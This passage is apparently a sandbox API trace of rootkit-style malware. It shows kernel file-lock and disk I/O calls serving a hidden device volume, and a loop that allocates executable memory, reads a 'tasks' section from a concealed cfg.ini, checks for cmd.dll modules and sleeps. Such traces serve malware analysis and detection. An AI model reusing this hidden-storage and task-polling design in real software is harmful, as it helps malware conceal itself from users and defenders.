FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] KeLeaveCriticalRegion () [0124.634] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.634] KeEnterCriticalRegion () [0124.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.634] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.634] IdePortDispatch () returned 0x103 [0124.634] KeWaitForMutexObject () returned 0x0 [0124.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] KeLeaveCriticalRegion () [0124.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.634] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.634] KeEnterCriticalRegion () [0124.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003591000 [0124.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.635] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.635] IdePortDispatch () returned 0x103 [0124.635] KeWaitForMutexObject () returned 0x0 [0124.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.635] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.635] IdePortDispatch () returned 0x103 [0124.635] KeWaitForMutexObject () returned 0x0 [0124.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.635] KeLeaveCriticalRegion () [0124.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.636] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.636] KeEnterCriticalRegion () [0124.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] KeLeaveCriticalRegion () [0124.636] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.636] KeEnterCriticalRegion () [0124.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.636] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] KeLeaveCriticalRegion () [0124.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.636] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.636] KeEnterCriticalRegion () [0124.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.636] KeLeaveCriticalRegion () [0124.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.636] ReleaseMutex (hMutex=0xf0) returned 1 [0124.636] Sleep (dwMilliseconds=0x927c0) [0124.650] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.650] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.650] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.650] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.650] KeEnterCriticalRegion () [0124.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.650] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.650] IdePortDispatch () returned 0x103 [0124.650] KeWaitForMutexObject () returned 0x0 [0124.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.650] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.650] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.650] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.650] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.650] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.650] KeLeaveCriticalRegion () [0124.650] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.650] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.650] KeEnterCriticalRegion () [0124.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.650] KeLeaveCriticalRegion () [0124.650] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.650] KeEnterCriticalRegion () [0124.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.650] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.651] IdePortDispatch () returned 0x103 [0124.651] KeWaitForMutexObject () returned 0x0 [0124.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.651] KeLeaveCriticalRegion () [0124.651] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.651] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.651] KeEnterCriticalRegion () [0124.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003596000 [0124.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.651] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.651] IdePortDispatch () returned 0x103 [0124.651] KeWaitForMutexObject () returned 0x0 [0124.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.651] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.651] IdePortDispatch () returned 0x103 [0124.652] KeWaitForMutexObject () returned 0x0 [0124.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] KeLeaveCriticalRegion () [0124.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.652] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.652] KeEnterCriticalRegion () [0124.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] KeLeaveCriticalRegion () [0124.652] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.652] KeEnterCriticalRegion () [0124.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.652] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] KeLeaveCriticalRegion () [0124.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.652] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.652] KeEnterCriticalRegion () [0124.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.652] KeLeaveCriticalRegion () [0124.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.653] ReleaseMutex (hMutex=0xf0) returned 1 [0124.653] Sleep (dwMilliseconds=0x927c0) [0124.668] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.668] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.668] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.668] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.668] KeEnterCriticalRegion () [0124.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.668] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.668] IdePortDispatch () returned 0x103 [0124.668] KeWaitForMutexObject () returned 0x0 [0124.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2220 [0124.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.668] KeLeaveCriticalRegion () [0124.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.668] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.668] KeEnterCriticalRegion () [0124.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.668] KeLeaveCriticalRegion () [0124.668] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.668] KeEnterCriticalRegion () [0124.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.669] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.669] IdePortDispatch () returned 0x103 [0124.669] KeWaitForMutexObject () returned 0x0 [0124.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.669] KeLeaveCriticalRegion () [0124.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.669] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.669] KeEnterCriticalRegion () [0124.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359b000 [0124.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.669] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.669] IdePortDispatch () returned 0x103 [0124.669] KeWaitForMutexObject () returned 0x0 [0124.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.669] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.669] IdePortDispatch () returned 0x103 [0124.670] KeWaitForMutexObject () returned 0x0 [0124.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] KeLeaveCriticalRegion () [0124.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.670] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.670] KeEnterCriticalRegion () [0124.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] KeLeaveCriticalRegion () [0124.670] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.670] KeEnterCriticalRegion () [0124.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.670] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] KeLeaveCriticalRegion () [0124.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.670] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.670] KeEnterCriticalRegion () [0124.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] ExFreePoolWithTag (P=0xfffffa8003bf2220, Tag=0x0) [0124.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.670] KeLeaveCriticalRegion () [0124.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.671] ReleaseMutex (hMutex=0xf0) returned 1 [0124.671] Sleep (dwMilliseconds=0x927c0) [0124.684] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.684] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.684] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.684] KeEnterCriticalRegion () [0124.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.684] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.684] IdePortDispatch () returned 0x103 [0124.685] KeWaitForMutexObject () returned 0x0 [0124.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.685] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.685] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.685] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.685] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.685] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2340 [0124.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] KeLeaveCriticalRegion () [0124.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.685] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.685] KeEnterCriticalRegion () [0124.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] KeLeaveCriticalRegion () [0124.685] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.685] KeEnterCriticalRegion () [0124.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.685] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.685] IdePortDispatch () returned 0x103 [0124.685] KeWaitForMutexObject () returned 0x0 [0124.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] KeLeaveCriticalRegion () [0124.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.685] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.685] KeEnterCriticalRegion () [0124.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a0000 [0124.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 